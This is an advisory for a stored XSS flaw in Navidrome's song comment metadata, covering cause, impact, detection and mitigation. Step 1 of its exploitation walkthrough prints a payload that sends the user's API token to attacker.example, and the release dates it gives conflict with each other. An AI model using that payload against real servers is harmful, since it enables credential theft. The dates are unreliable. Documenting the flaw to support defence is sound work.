CVE-2026-25578: 
NixOS vulnerability analysis and mitigation

CVE-2026-25578 is a stored cross-site scripting (XSS) vulnerability in Navidrome, an open-source web-based music collection server and streamer. The flaw allows an attacker to inject malicious code through the comment metadata field of a song file, which is then rendered unsanitized in the Navidrome frontend, enabling credential exfiltration. All Navidrome versions prior to 0.60.0 are affected. The vulnerability was published on February 4, 2026, and patched in version 0.60.0 released the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is improper neutralization of script-related HTML tags in a web page (CWE-80 / CWE-79). Navidrome's React-based frontend uses the dangerouslySetInnerHTML escape hatch in the MultiLineTextField component to render song and album comment fields, taking the content verbatim from file metadata (e.g., the VORBIS COMMENT field of a FLAC file) without sanitization. An attacker crafts a song file with a malicious payload in the comment metadata field — for example, an <img> tag with an onerror handler — and adds it to a Navidrome library. When any user views the song or album info dialog, the injected script executes in their browser session. Because Navidrome stores its API token in localStorage and no Content Security Policy (CSP) is enforced by default, the token can be exfiltrated to an attacker-controlled server (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to steal Navidrome API tokens stored in localStorage, enabling unauthorized access to the victim's Navidrome account and any actions the user is permitted to perform. The attack requires user interaction (viewing the song/album info) but no authentication or special privileges from the attacker. Confidentiality and integrity are both impacted — credentials can be exfiltrated and unauthorized actions can be performed within the user's session — while availability is not directly affected (GitHub Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, demonstrating how to embed a malicious payload in a FLAC file's VORBIS COMMENT field using tools like MusicBrainz Picard or metaflac. There is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.017% (very low), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the attacker's crafted song to be added to the target Navidrome library, limiting the attack surface to instances that index music from untrusted sources (GitHub Advisory, Red Hat CVE).

1. Craft malicious song file: Using a tool such as MusicBrainz Picard or metaflac, modify the VORBIS COMMENT comment field of a FLAC (or compatible) audio file to contain an XSS payload, e.g., <img src=x onerror="fetch('https://attacker.example/steal?t='+localStorage.getItem('token'))"> .
2. Add song to Navidrome: Upload or place the crafted song file in a directory indexed by the target Navidrome instance, so it is scanned and added to the library.
3. Wait for user interaction: Wait for a legitimate Navidrome user to navigate to the "Songs" page or an album page containing the malicious track, then click the kebab menu and select "Get Info" to open the song/album info dialog.
4. XSS payload executes: The MultiLineTextField component renders the comment field via dangerouslySetInnerHTML without sanitization, causing the injected script to execute in the victim's browser session.
5. Exfiltrate API token: The script reads the Navidrome API token from localStorage and sends it to the attacker's server via an HTTP request, granting the attacker authenticated access to the victim's Navidrome account (GitHub Advisory).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains immediately after viewing song/album info in Navidrome; requests containing URL-encoded tokens or base64 strings in query parameters to non-Navidrome hosts.
• File System: Presence of audio files (e.g., .flac) with unusual or script-like content in the COMMENT metadata field, detectable via metaflac --list file.flac or similar metadata inspection tools.
• Logs: Navidrome access logs showing repeated access to song/album info endpoints followed by outbound network activity; browser developer tools network logs showing requests to attacker-controlled domains originating from the Navidrome UI.
• Application: Unexpected API activity using a user's token from unfamiliar IP addresses or at unusual times, suggesting token theft and reuse (GitHub Advisory).

Upgrade Navidrome to version 0.60.0 or later, which replaces unsafe dangerouslySetInnerHTML usage with React's built-in sanitization and integrates DOMPurify for cases where HTML rendering is required (Navidrome v0.60.0 Release, Patch Commit). As interim mitigations: configure a strict Content Security Policy (CSP) via a reverse proxy to restrict script execution and exfiltration; avoid indexing music from untrusted sources; and vet song metadata before adding files to the library. If credential compromise is suspected, reset user passwords and revoke/rotate API tokens, then review access logs for unauthorized activity (GitHub Advisory).

The vulnerability was reported by security researcher AlexGustafsson, who also contributed the patch. The fix was merged and released promptly in Navidrome v0.60.0 on February 3, 2026. A NixOS/nixpkgs issue was opened to track the update for that distribution (NixOS Issue). The vulnerability was also noted in govulncheck/vulndb security updates covered by Linux-focused outlets (GitHub Advisory).